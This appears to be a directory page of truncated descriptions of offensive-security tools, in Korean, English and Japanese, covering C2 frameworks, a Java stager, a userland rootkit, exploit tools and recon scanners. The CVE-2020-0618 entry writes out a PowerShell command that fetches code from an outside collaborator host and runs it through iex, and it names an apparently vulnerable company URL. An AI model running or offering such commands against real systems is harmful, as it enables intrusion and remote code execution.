sharingan

Sharingan Sharingan은 공격적 보안 / 버그 바운티를 위한 정찰 멀티툴입니다. 작업 중입니다, 언제 끝날까요? 누가 알겠어요. 개발을 위한 클론 GOPATH 외부에서 git clone https://github.com/leobeosab/sharingan 설치 go get github.com/leobeosab/sharingan/cmd/sharingancli 의존성 NMap Go 사용법 참고 플래그의 순서가 중요합니다. sharingancli globalflags command commandflags 형식이어야 합니...

java-stager

java-stager A PoC Java Stager which can download, compile, and execute a Java file in memory. This is for research purposes only, do not use this where you are unauthorised to do so. What is this? This is based on the work of James Williams from his talk "Next Gen AV vs My Shitty Code" available...

CVE-2021-28079

CVE-2021-28079 - POC Jamovi file example.omv example.omv: Zip archive data, at least v2.0 to extract 모든 OMV 파일은 아카이브된 데이터입니다. 따라서 XSS 버그를 악용하기 위해 압축을 풀고 수정할 수 있습니다. root@kitploit: 🔥\ unzip example.omv Archive: example.omv inflating: META-INF/MANIFEST.MF inflating: index.html inflating:...

fb_friend_list_scraper

Facebook 친구 목록 스크래퍼 Facebook에서 대규모 친구 목록에서 이름과 사용자 이름을 수집하는 OSINT 도구로, 요청 제한에 걸리지 않습니다. Mastodon에서 연락: @[email protected] 시작하기: pip로 설치: python -m pip install fb-friend-list-scraper 스크립트가 fbfriendlistscraper로 설치됩니다. -h 또는 --help를 사용하여 사용법을 확인하세요. 사용법: root@kitploit: usage: fbfriendlistscrape...

godoh

🕳 godoh DNS-over-HTTPS 명령 및 제어 개념 증명 소개 godoh는 DNS-over-HTTPS를 전송 매체로 사용하는, Golang으로 작성된 개념 증명 명령 및 제어C2 프레임워크입니다. 현재 지원되는 제공업체로는 Google, Cloudflare가 있으며, 기존 DNS를 사용할 수 있는 기능도 포함하고 있습니다. 설치 필요한 것은 godoh 바이너리 자체입니다. 바이너리는 태그된 릴리스의 일부로 릴리스 페이지에서 다운로드할 수 있습니다. 소스에서 godoh를 빌드하려면 다음 단계를 따르세요: Go 1.13+...

domato

Domato 🍅 A DOM fuzzer Written and maintained by Ivan Fratric, [email protected] Copyright 2017 Google Inc. All Rights Reserved. Licensed under the Apache License, Version 2.0 the "License"; you may not use this file except in compliance with the License. You may obtain a copy of the License ...

nullscan

Description A modular framework designed to chain and automate security tests. It parses target definitions from the command line and runs corresponding modules and their nullscan-tools afterwards. It can also take hosts and start nmap first in order to perform a basic portscan and run the module...

jexboss

JexBoss - JBoss 및 기타 Java 역직렬화 취약점 확인 및 익스플로잇 도구 JexBoss는 JBoss 애플리케이션 서버 및 기타 Java 플랫폼, 프레임워크, 애플리케이션 등의 취약점을 테스트하고 익스플로잇하기 위한 도구입니다. 요구 사항 Python = 2.7.x urllib3 ipaddress 리눅스/맥 설치 JexBoss 최신 버전을 설치하려면 다음 명령어를 사용하세요: root@kitploit: git clone https://github.com/joaomatosf/jexboss.git cd jexboss...

mwebfp

LNHG - Massive Web Fingerprinter mwebfp Introduction The "LowNoiseHG LNHG Massive Web Fingerprinter " "mwebfp " from now on was conceived in July 2013 after realizing the usefulness of webserver screenshots to pentesters, during an engagement with large external or internal IP address ranges, as ...

Commander

Commander Commander는 Python, Flask 및 SQLite로 작성된 명령 및 제어 프레임워크C2입니다. Python과 C로 작성된 두 개의 에이전트가 함께 제공됩니다. 지속적인 개발 중 스크립트 키디에게 친숙하지 않음 기능 완전 암호화 통신 TLS 다중 에이전트 난독화 대화형 세션 확장 가능 Base64 데이터 인코딩 RESTful API 에이전트 Python 3 Python 에이전트 지원: 세션, 관리자와 에이전트 간의 대화형 셸 ssh와 유사 난독화 Windows 및 Linux 시스템 모두 파일...

SharpPrivesc

SharpPrivesc C 연습 및 Privesc 공격 표면을 통합합니다. 아직 초보 수준입니다. Privesc 검사 등이 포함됩니다. Spectreops의 명령줄 구문 분석 클래스를 선호하여 다른 .NET 패키지예: command line parser 대신 해당 클래스를 사용하기로 결정했습니다. 할 일: 메뉴 더 많은 Privesc 검사 모듈. 완료 중첩 그룹 따옴표 없는 서비스 경로: DCsync:...

manuka

Manuka Description Manuka is an Open-source intelligence OSINT honeypot that monitors reconnaissance attempts by threat actors and generates actionable intelligence for Blue Teamers. It creates a simulated environment consisting of staged OSINT sources, such as social media profiles and leaked...

uncover

Quickly discover exposed hosts on the internet using multiple search engines. Features • Installation • Usage • Configuration • Running Uncover • Join Discord uncover is a go wrapper using APIs of well known search engines to quickly discover exposed hosts on the internet. It is built with...

CVE-2020-0618

CVE-2020-0618 Melissa https://status.melissa.com/ReportServerCUSTOMERSQL/Pages/ReportViewer.aspx - 취약점이 있는 링크 $command = 'New-Object Net.WebClient.Proxy.Credentials=Net.CredentialCache::DefaultNetworkCredentials;iwr"https://qoigyuef2a4z1a7rsir6lvi3eukl8a.burpcollaborator.net/In"|iex' $bytes =...

AutoBrowser

AutoBrowser 4.0 AutoBrowserは、ペネトレーションテスター向けにPythonで書かれたツールです。 このツールの目的は、ネットワーク上のhttp/sベースのポートのレポート（JSONファイル）とスクリーンショットを作成することです。 Nmapレポート（XMLファイル -oX）を分析するか、Nmapでスキャンするかを選択できます。 その後、ツールはヘッドレスウェブブラウザを使用して各ホストにhttp/sリクエストを行い、結果を自動的にチェックします。 そして、応答ページのコンテンツのスクリーンショットを撮ります。...

Dorkify

Dorkify 로 Google Dork 검색 수행 Google Dorking 구글 도킹 Google 도킹은 해커가 Google 검색을 이용해 웹사이트의 구성 및 컴퓨터 코드에서 보안 허점을 찾는 기술입니다. Google 도킹은 Google 검색 엔진에서 고급 연산자를 사용하여 취약한 웹 애플리케이션의 특정 버전을 찾는 등 검색 결과 내에서 특정 문자열을 찾는 것을 포함합니다. 사용자는 명령어를 사용하여 다른 특정 검색 결과를 얻을 수 있습니다. 메뉴 📃 Google 검색 URL 검색 도서 음악 다운로드 정보 Dork Hacks...

azazel

Azazel V 0.1 The whole earth has been corrupted through the works that were taught by Azazel: to him ascribe all sin. -- 1 Enoch 2:8 Azazel is a userland rootkit based off of the original LDPRELOAD technique from Jynx rootkit. It is more robust and has additional features, and focuses heavily...

intelspy

Perform automated network reconnaissance scans to gather network intelligence. IntelSpy is a multi-threaded network intelligence tool which performs automated network services enumeration. It performs live hosts detection scans, port scans, services enumeration scans, web content scans,...

tofu

tofu A modular tool for hacking offline Windows filesystems and bypassing login screens. Can do hashdumps, OSK-Backdoors, user enumeration and more. How it works : When a Windows machine is shut down, unless it has Bitlocker or another encryption service enabled, it's storage device contains...

git-vuln-finder

git-vuln-finder git 커밋 메시지에서 잠재적인 소프트웨어 취약점을 찾습니다. 출력 형식은 소프트웨어 취약점에 대한 수정 사항이 포함될 수 있는 관련 커밋이 있는 JSON입니다. 검색은 커밋 메시지에 대한 정규식 집합을 기반으로 합니다. CVE ID가 있는 경우 출력에 자동으로 추가됩니다. 입력은 모든 git 리포지토리 또는 GH 아카이브 소스일 수 있습니다. 요구 사항 jq sudo apt install jq Python poetry 설치 라이브러리로 사용 git-vuln-finder는 poetry로 설치할 수...